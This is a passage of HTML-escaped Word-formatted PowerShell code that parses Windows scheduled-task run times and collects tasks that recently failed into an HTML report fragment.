&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:4;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;dateTime&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:4;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;datetime&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]::&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#8b4513;"&gt;MinValue&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Next Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;-as&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;datetime&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:4;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Next Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;dateTime&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Next Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;else&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:4;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Next Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; [&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#008080;"&gt;datetime&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;]::&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#8b4513;"&gt;MaxValue&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$TasksInError&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$tasks&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; | &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;Where-Object&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; {&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;New-TimeSpan&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-Start&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;).Days &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;-le&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$runPeriod&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;) &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;-and&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$_&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Result&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#ff0000;"&gt;-ne&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;)} | &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;Sort-Object&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-Descending&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; | &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;`&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:3;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;ConvertTo-HTML&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-property&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; TaskName, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Next Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Run Time&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;, Status, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800000;"&gt;&amp;quot;Last Result&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;-Fragment&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; | &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span style="color:#5f9ea0;"&gt;out-string&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span style="color:#000000;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span style="color:#0000ff;"&gt;if&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt; (&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#800080;"&gt;$TasksInError&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color:#000000;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="line-height:13.25pt;list-style-type:disc;margin:0in 0in 8pt;"&gt;&lt;span&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="mso-tab-count:2;"&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
